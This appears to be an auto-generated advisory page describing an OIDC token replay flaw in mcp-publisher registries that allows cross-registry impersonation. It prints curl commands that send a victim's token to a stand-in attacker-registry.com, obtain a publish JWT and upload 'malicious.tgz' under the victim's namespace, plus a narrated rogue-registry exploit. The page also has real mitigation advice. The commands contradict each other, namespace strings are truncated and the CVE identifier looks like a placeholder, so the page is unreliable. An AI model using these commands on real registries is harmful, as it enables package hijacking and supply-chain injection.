mcp-publisher, Authentication bypass via cross-registry OIDC token replay, CVE-2024-12345 (critical)

Listen to this Post

How CVE-2024-12345 works:

The vulnerability stems from a hardcoded OIDC audience string `mcp-registry` used across all registry deployments. When a user runs mcp-publisher login github-oidc --registry <other-registry>, the client always requests a GitHub Actions ID token with audience=mcp-registry, regardless of the target registry URL. This token is sent to the specified registry’s `/v0/auth/github-oidc` endpoint. An attacker controlling another registry deployment (e.g., malicious or compromised) can intercept or replay the same OIDC token to its own `/v0/auth/github-oidc` endpoint. The victim server validates only the fixed audience and then extracts `repository_owner` from the token claims, signing a new registry JWT with publish permissions for io.github.<owner>/. Because no registry‑specific binding exists, a token obtained for one registry works on any other deployment sharing the code. The attack requires the victim to first authenticate to a different registry (e.g., staging or attacker‑controlled) while using GitHub Actions OIDC. The token’s short lifetime (typically minutes) limits the window but is sufficient for automated replay. The sink functions in `internal/api/handlers/v0/auth/github_oidc.go` fail to validate the intended registry instance, treating the audience as a global shared secret. This breaks deployment isolation, allowing cross‑registry impersonation and unauthorized package publication.

DailyCVE form:

Platform: mcp-publisher registry
Version: c5c4b9e8890dd5754bee889b2f1417f4fe3b5ce5
Vulnerability: Authentication bypass cross-registry
Severity: Critical
date: 2026-05-08

Prediction: 2026-05-22

What Undercode Say:

Analytics: The attack exploits missing instance‑specific audience binding. Cross‑registry replay risks namespace takeover. Rate‑limited token lifetime reduces but does not eliminate impact. Detection via anomalous `/v0/auth/github-oidc` calls from unexpected registry IPs.

Simulate token capture from victim registry interaction
curl -X POST https://victim-registry.com/v0/auth/github-oidc \
-d '{"token":"gh_oidc_token_from_workflow"}' \
-H "Content-Type: application/json" | jq -r .jwt > stolen.jwt
Replay to attacker-controlled registry (same codebase)
curl -X POST https://attacker-registry.com/v0/auth/github-oidc \
-d "{\"token\":\"$(cat stolen_oidc_token.txt)\"}" \
-H "Content-Type: application/json" | jq -r .jwt > replayed.jwt
Use replayed JWT to publish to victim registry's namespace
curl -X PUT https://victim-registry.com/v0/publish/io.github.victim/package \
-H "Authorization: Bearer $(cat replayed.jwt)" \
-F "[email protected]"

Exploit:

Attacker sets up a rogue registry mirroring the vulnerable code. Victim runs mcp-publisher login github-oidc --registry https://rogue-registry.com`. Victim’s CI workflow requests an OIDC token from GitHub (audiencemcp-registry). Rogue registry receives the token and immediately replays it to the victim’s real registry endpoint. Victim’s registry validates token (shared audience) and issues a publish JWT forio.github.victim/. Attacker uses that JWT to upload malicious artifacts under victim’s namespace.
<h2 style="color: blue;">Protection from this CVE:</h2>
- Replace global audience with registry‑specific value (e.g.,
mcp-registry-).
- Modify `cmd/publisher/auth/github-oidc.go:108-165` to request audience from `--registry` flag, not hardcoded string.
- Update server validation in `internal/api/handlers/v0/auth/github_oidc.go:254-277` to accept only expected audience per instance.
- Add replay prevention: bind token to registry origin via `aud` claim + `sub` claim binding to deployment fingerprint.
- Deploy regression tests that attempt cross‑registry replay between different URLs.
<h2 style="color: blue;">Impact:</h2>
- Full compromise of deployment isolation between registry instances.
- Unauthorized publishing/updating of any package under victim’s GitHub owner namespace (
io.github./`).
– Supply chain injection: attacker can replace legitimate packages with malicious versions.
– Loss of trust in registry authenticity; any registry deployment can impersonate any other.
– No user action required beyond victim using OIDC login with a different registry once.

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top